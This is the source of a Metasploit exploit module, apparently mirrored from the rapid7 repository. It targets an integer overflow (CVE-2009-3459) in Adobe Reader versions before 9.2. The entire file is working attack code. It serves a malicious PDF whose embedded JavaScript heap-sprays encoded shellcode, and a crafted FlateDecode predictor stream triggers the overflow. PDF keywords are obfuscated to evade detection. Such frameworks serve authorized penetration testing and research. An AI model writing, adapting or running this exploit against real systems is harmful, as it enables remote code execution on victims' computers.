Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::Remote::HttpServer::HTML
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow',
18
'Description' => %q{
19
This module exploits an integer overflow vulnerability in Adobe Reader and Adobe
20
Acrobat Professional versions before 9.2.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'unknown', # Found in the wild
25
# Metasploit version by:
26
'jduck',
27
'jabra'
28
],
29
'References' => [
30
[ 'CVE', '2009-3459' ],
31
[ 'BID', '36600' ],
32
[ 'OSVDB', '58729' ],
33
[ 'URL', 'http://web.archive.org/web/20201207001443/https://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html/' ],
34
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
35
],
36
'DefaultOptions' => {
37
'EXITFUNC' => 'process',
38
},
39
'Payload' => {
40
'Space' => 1024,
41
'BadChars' => "\x00",
42
'DisableNops' => true
43
},
44
'Platform' => 'win',
45
'Targets' => [
46
# test results (on Windows XP SP3)
47
# reader 7.0.5 - untested
48
# reader 7.0.8 - untested
49
# reader 7.0.9 - untested
50
# reader 7.1.0 - untested
51
# reader 7.1.1 - untested
52
# reader 8.0.0 - untested
53
# reader 8.1.2 - untested
54
# reader 8.1.3 - untested
55
# reader 8.1.4 - untested
56
# reader 8.1.5 - untested
57
# reader 8.1.6 - untested
58
# reader 9.0.0 - untested
59
# reader 9.1.0 - works!
60
# reader 9.2 - not vulnerable
61
[
62
'Adobe Reader Windows Universal (JS Heap Spray)',
63
{
64
'Size' => ((1024 * 1024) - 32)
65
}
66
],
67
],
68
'DisclosureDate' => '2009-10-08',
69
'DefaultTarget' => 0,
70
'Notes' => {
71
'Reliability' => UNKNOWN_RELIABILITY,
72
'Stability' => UNKNOWN_STABILITY,
73
'SideEffects' => UNKNOWN_SIDE_EFFECTS
74
}
75
)
76
)
77
end
78
79
def autofilter
80
false
81
end
82
83
def check_dependencies
84
use_zlib
85
end
86
87
def on_request_uri(cli, request)
88
return if ((p = regenerate_payload(cli)) == nil)
89
90
# Encode the shellcode.
91
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
92
93
# Make some nops
94
nops = Rex::Text.to_unescape(make_nops(4))
95
randnop = rand_text_alpha(rand(100) + 1)
96
97
# Randomize variables
98
rand1 = rand_text_alpha(rand(100) + 1)
99
rand2 = rand_text_alpha(rand(100) + 1)
100
101
script = %Q|
102
var #{rand1} = unescape("#{shellcode}");
103
var #{randnop} = "#{nops}";
104
var #{rand2} = unescape(#{randnop});
105
while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2};
106
#{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length);
107
memory = new Array();
108
for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; }
109
|
110
# Create the pdf
111
pdf = make_pdf(script)
112
113
print_status("Sending #{self.name}")
114
115
send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })
116
117
handler(cli)
118
end
119
120
def random_non_ascii_string(count)
121
result = ""
122
count.times do
123
result << (rand(128) + 128).chr
124
end
125
result
126
end
127
128
def io_def(id)
129
"%d 0 obj" % id
130
end
131
132
def io_ref(id)
133
"%d 0 R" % id
134
end
135
136
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
137
def n_obfu(str)
138
result = ""
139
str.scan(/./u) do |c|
140
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
141
result << "#%x" % c.unpack("C*")[0]
142
else
143
result << c
144
end
145
end
146
result
147
end
148
149
def ascii_hex_whitespace_encode(str)
150
result = ""
151
whitespace = ""
152
str.each_byte do |b|
153
result << whitespace << "%02x" % b
154
whitespace = " " * (rand(3) + 1)
155
end
156
result << ">"
157
end
158
159
def make_flate_data()
160
# NOTE: this data is from the original, in-the-wild exploit...
161
# on 9.1.0 xpsp3, this causes a crash executing 0x70000000
162
# that's not exactly a fun address to try to heap spray to
163
bpc = 1
164
data = "\x00\x00\x20\x00\x00\x00\x10"
165
166
# this way, we can adjust dwords on the heap by 8-bits of data..
167
# this leads to eip being around 0x1000xxxx, much more friendly
168
bpc = 8
169
addend = 9
170
data = "\x00" * 64
171
data[18, 1] = [addend].pack('C')
172
data[51, 1] = [addend].pack('C')
173
174
return bpc, data
175
end
176
177
def make_pdf(js)
178
xref = []
179
eol = "\x0d\x0a"
180
endobj = "endobj" << eol
181
182
# Randomize PDF version?
183
pdf = "%PDF-1.5" << eol
184
pdf << "%" << random_non_ascii_string(4) << eol
185
186
xref << pdf.length
187
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2)
188
pdf << n_obfu("/Pages ") << io_ref(3)
189
pdf << n_obfu("/OpenAction ") << io_ref(5)
190
pdf << ">>" << endobj
191
192
xref << pdf.length
193
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
194
195
xref << pdf.length
196
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
197
198
xref << pdf.length
199
pdf << io_def(4) << n_obfu("<</Contents ") << io_ref(7)
200
pdf << n_obfu("/Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
201
202
xref << pdf.length
203
pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj
204
205
xref << pdf.length
206
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
207
pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
208
pdf << "stream" << eol
209
pdf << compressed << eol
210
pdf << "endstream" << eol
211
pdf << endobj
212
213
# generate data for inside the flate'd stream
214
bits_per_component, data = make_flate_data()
215
compressed = Zlib::Deflate.deflate(data)
216
217
xref << pdf.length
218
pdf << io_def(7) << n_obfu("<</DecodeParms")
219
pdf << n_obfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component)
220
pdf << n_obfu("/Length %s/Filter/FlateDecode>>" % compressed.length)
221
pdf << "stream" << eol
222
pdf << compressed << eol
223
pdf << "endstream" << eol
224
pdf << endobj
225
226
xrefPosition = pdf.length
227
pdf << "xref" << eol
228
pdf << "0 %d" % (xref.length + 1) << eol
229
pdf << "0000000000 65535 f" << eol
230
xref.each do |index|
231
pdf << "%010d 00000 n" % index << eol
232
end
233
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
234
pdf << "startxref" << eol
235
pdf << xrefPosition.to_s() << eol
236
pdf << "%%EOF" << eol
237
end
238
end
239
240